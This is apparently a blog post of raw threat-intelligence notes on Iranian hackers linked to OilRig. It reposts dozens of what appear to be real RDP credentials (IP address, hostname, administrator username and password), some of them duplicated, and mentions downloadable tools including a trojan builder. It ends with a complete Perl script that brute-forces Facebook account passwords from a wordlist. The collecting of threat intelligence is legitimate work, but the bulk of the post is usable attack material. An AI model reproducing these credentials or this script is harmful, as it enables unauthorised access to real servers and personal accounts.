Confuser and Oilrig – Iranian Hacks

This is a bit disjointed at this time and is raw data. This is not intelligence, has not been analyzed but does tie directly to Oilrig.

A powerful program to pack your apps. With this program, you can pack programs in C # and VB.Net

Confuser – Confuser program zipped. For download and analysis

a1ir3z4-HK Frequently found on anonysec.org, c-cracking.org, formerly of the Kalli Hack Team (kallihack), http://haraji.8tag.ir

Others in the mix: XVII_Hacker, #XVII_Roman & #BlackErroR1 & #sorblack

BTC BRUTER v.3.0 By UNKNOWN-KILLER

Bitcoin Cracker Performance Test via Telegram: @ a1ir3z4HK @ a1ir3z4_HK_bot
Using temp emails here: http://www.emeil.ir/
Sprinkle the effort with a bit of Russian for flavoring

Cʏʙᴇʀ Cʀᴀᴄᴋɪɴɢ | سایبر کرکینگ

61.155.153.21:3389@SZCN2003X-5984\administrator;1qaz@WSX3edc
123.206.72.128:3389@10_221_112_104\administrator;1qaz@WSX3edc
123.207.139.51:3389@10_10_123_100\administrator;1qaz@WSX3edc
113.108.144.211:3389@ZK\administrator;1qaz@WSX
218.13.56.118:3389@HEGII\administrator;1qaz@WSX
218.17.182.99:3389@DTC-S01\administrator;1qaz@WSX
58.213.155.42:3389@SQL\administrator;1qaz@WSX
218.90.154.154:3389@DHT1FDC2\administrator;1qaz@WSX
218.94.38.222:3389@WIN-3EGCECLJQ5J\administrator;1qaz@WSX
180.107.198.6:3389@HAMBER\administrator;1qaz@WSX
117.89.141.232:3389@DELL-R710\administrator;1qaz@WSX
58.221.10.142:3389@WIN-QUO7ORFGR99\administrator;123qwe!@#
180.112.122.235:3389@HP-SERVER\administrator;123qwe!@#
219.136.229.194:3389@BMYWEB\administrator;1234qwer!@#$
121.9.14.146:3389@WIN-90NIL448CQ4\administrator;1qaz!QAZ
119.145.72.210:3389@WINDOWS-M89UCHU\administrator;1qaz!QAZ
218.93.123.171:3389@USER-A4G6BL8T0O\administrator;1qaz!QAZ
61.160.112.76:3389@NWERPDB\administrator;1qazXSW@
117.80.229.78:3389@KSBOMAN\administrator;1qazXSW@
119.29.157.222:3389@10_135_48_44\administrator;1qazXSW@
61.145.180.174:3389@TEDU-LH\administrator;!QAZ2wsx
113.108.146.83:3389@WIN-QIO2J4TRCMJ\administrator;!QAZ2wsxЧитать полностью…

61.155.153.21:3389@SZCN2003X-5984\administrator;1qaz@WSX3edc
123.206.72.128:3389@10_221_112_104\administrator;1qaz@WSX3edc
123.207.139.51:3389@10_10_123_100\administrator;1qaz@WSX3edc
113.108.144.211:3389@ZK\administrator;1qaz@WSX
218.13.56.118:3389@HEGII\administrator;1qaz@WSX
218.17.182.99:3389@DTC-S01\administrator;1qaz@WSX
58.213.155.42:3389@SQL\administrator;1qaz@WSX
218.90.154.154:3389@DHT1FDC2\administrator;1qaz@WSX
218.94.38.222:3389@WIN-3EGCECLJQ5J\administrator;1qaz@WSX
180.107.198.6:3389@HAMBER\administrator;1qaz@WSX
117.89.141.232:3389@DELL-R710\administrator;1qaz@WSX
58.221.10.142:3389@WIN-QUO7ORFGR99\administrator;123qwe!@#
180.112.122.235:3389@HP-SERVER\administrator;123qwe!@#
219.136.229.194:3389@BMYWEB\administrator;1234qwer!@#$
121.9.14.146:3389@WIN-90NIL448CQ4\administrator;1qaz!QAZ
119.145.72.210:3389@WINDOWS-M89UCHU\administrator;1qaz!QAZ
218.93.123.171:3389@USER-A4G6BL8T0O\administrator;1qaz!QAZ
61.160.112.76:3389@NWERPDB\administrator;1qazXSW@
117.80.229.78:3389@KSBOMAN\administrator;1qazXSW@
119.29.157.222:3389@10_135_48_44\administrator;1qazXSW@
61.145.180.174:3389@TEDU-LH\administrator;!QAZ2wsx
113.108.146.83:3389@WIN-QIO2J4TRCMJ\administrator;!QAZ2wsxЧитать полностью…

182.71.201.2:3389@TECHNOPAK\administrator;p@ssw0rd
150.242.254.98:3389@WINWORLD\administrator;Pass@word1
115.112.155.95:3389@APOLLOHOSPITALS\administrator;P@ssw0rd
221.135.143.132:3389@DMSSERVER\administrator;P@ssw0rd
220.225.210.91:3389@CTL\administrator;P@ssw0rd
45.64.195.147:3389@UNISRV\administrator;P@ssw0rd
125.22.73.198:3389@NAVGGL\administrator;P@ssw0rd
125.22.73.196:3389@NAVGGL\administrator;P@ssw0rd
59.144.162.8:3389@DELLSERVER\administrator;Admin@123
27.54.170.204:3389@DCPLHO\administrator;Admin@123
180.151.71.42:3389@FOURDTECH\administrator;Admin@123
202.47.116.201:3389@JAYAIR\administrator;Admin@123
118.185.53.18:3389@JBBROTHERS\administrator;Admin@123
27.251.117.6:3389@WIN-6T4QFMCPVE8\administrator;Admin123
103.230.152.172:3389@WIN-PMCSC1KVLPH\administrator;admin@123
219.65.58.58:3389@BIOTECH\administrator;admin@123
124.123.99.31:3389@WIN-RJTS2DUSFC1\administrator;admin@123
122.15.47.237:3389@ADMINISTRATOR\administrator;admin@123
125.63.94.107:3389@LAT039010002\administrator;admin@123
103.50.152.53:3389@BIOTECH\administrator;admin@123
117.252.2.69:3389@ADMINISTRATOR\administrator;admin@123
119.226.187.124:3389@WINDOWS-LJLRPML\administrator;admin@123
125.21.48.42:3389@WINDOWS-LJLRPML\administrator;admin@123
223.30.104.27:3389@WIN-ANRHQC2VF3Q\administrator;admin@123
125.20.83.199:3389@DSKE-1\administrator;admin@123
223.30.126.218:3389@CKHO\administrator;admin@123
59.90.244.200:3389@TEEPARAM-SERVER\administrator;Passw0rd1
14.102.15.38:3389@LAB01\administrator;password@123
124.124.70.194:3389@BRIGADEGROUP\administrator;password@123
220.227.9.77:3389@SCINDIASCHOOL\administrator;password@123
122.200.19.58:3389@ASHTE-RFID\administrator;P@ssw0rd@123
61.12.1.3:3389@WINDOWS-CYMSTZH\administrator;password@1234
182.74.185.140:3389@BIBAAPPARELS\administrator;abc@123
180.211.99.2:3389@GCPL\administrator;
112.196.8.202:3389@LIBRARYSERVER\administrator;
118.185.4.242:3389@SRI01\administrator;
Capture
Beast Trojan Builder – (change to .rar to unzip) Use at own risk.
57c4d9a0-63da-46d3-9e16-b720d27b0f6a

Iranian Hacking – Saudi Sites – Bruteforcing facebook zhacker

Music is horrendous – be warned

 

 

and the script:

#!/usr/bin/perl
#

use strict;
use Net::SSLeay::Handle;

if(!defined($ARGV[0] && $ARGV[1])) {

system(‘clear’);
print ” Version 2.32 \n”;
print “\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n”;
print “88′ d8′ `8b d8P Y8 88′ 88 `8D .8P Y8. 88 ,8P’ 88′ 88 `8D \n”;
print “88ooo 88ooo88 8P 88ooooo 88oooY’ 88 88 88,8P 88ooooo 88oobY’ \n”;
print “88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n”;
print “88 88 88 Y8b d8 88. 88 8D `8b d8′ 88 `88. 88. 88 `88. \n”;
print “YP YP YP `Y88P’ Y88888P Y8888P’ `Y88P’ YP YD Y88888P 88 YD \n”;

print “\033[1;31m ======================================================\n”;
print “\033[1;37m Usage: perl $0 Email wordlist.txt\n\n\n\n\n\n\n\n\n”;
print “\033[1;31m ======================================================\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
print “\n”;
exit; }

my $user = $ARGV[0];
my $wordlist = $ARGV[1];

open (LIST, $wordlist) || die “\n[-] Can’t find/open $wordlist\n”;

 

print ” Version 2.32 \n”;
print “\033[1;32md88888b .d8b. .o88b. d88888b d8888b. .d88b. db dD d88888b d8888b. \n”;
print “88′ d8′ `8b d8P Y8 88′ 88 `8D .8P Y8. 88 ,8P’ 88′ 88 `8D \n”;
print “88ooo 88ooo88 8P 88ooooo 88oooY’ 88 88 88,8P 88ooooo 88oobY’ \n”;
print “88~~~ 88~~~88 8b 88~~~~~ 88~~~b. 88 88 88`8b 88~~~~~ 88`8b \n”;
print “88 88 88 Y8b d8 88. 88 8D `8b d8′ 88 `88. 88. 88 `88. \n”;
print “YP YP YP `Y88P’ Y88888P Y8888P’ `Y88P’ YP YD Y88888P 88 YD \n”;

print “\033[1;31m ======================================================\n”;
print “\033[1;33m made by [[Z hacker]] \n”;
print “\033[1;31m ========================================================\n”;

print “\033[1;39m\n [+] Cracking Started on: $user …\n\n”;
print “=======================================\n”;

while (my $password = <LIST>) {
chomp ($password);
$password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf “%%%0x”, ord $1 /eg;

my $a = “POST /login.php HTTP/1.1”;
my $b = “Host: http://www.facebook.com”;
my $c = “Connection: close”;
my $e = “Cache-Control: max-age=0”;
my $f = “Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8”;
my $g = “Origin: https://www.facebook.com&#8221;;
my $h = “User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31”;
my $i = “Content-Type: application/x-www-form-urlencoded”;
my $j = “Accept-Encoding: gzip,deflate,sdch”;
my $k = “Accept-Language: en-US,en;q=0.8”;
my $l = “Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3”;

my $cookie = “cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa”;
my $post = “lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In”;
my $cl = length($post);
my $d = “Content-Length: $cl”;

 

my ($host, $port) = (“www.facebook.com”, 443);

tie(*SSL, “Net::SSLeay::Handle”, $host, $port);

print SSL “$a\n”;
print SSL “$b\n”;
print SSL “$c\n”;
print SSL “$d\n”;
print SSL “$e\n”;
print SSL “$f\n”;
print SSL “$g\n”;
print SSL “$h\n”;
print SSL “$i\n”;
print SSL “$j\n”;
print SSL “$k\n”;
print SSL “$l\n”;
print SSL “$cookie\n\n”;

print SSL “$post\n”;

my $success;
while(my $result = <SSL>){
if($result =~ /Location(.*?)/){
$success = $1;
}
}
if (!defined $success)
{
print “\033[1;31m[-] $password -> Failed \n”;
close SSL;
}
else
{
print “\033[1;32m\n########################################################\n”;
print “[+] \033[1;32mPassword Cracked: $password\n”;
print “\033[1;32m########################################################\n\n”;
close SSL;
exit;
}
}

Rinlogger Teaching

 

Blog at WordPress.com.

Up ↑

%d bloggers like this: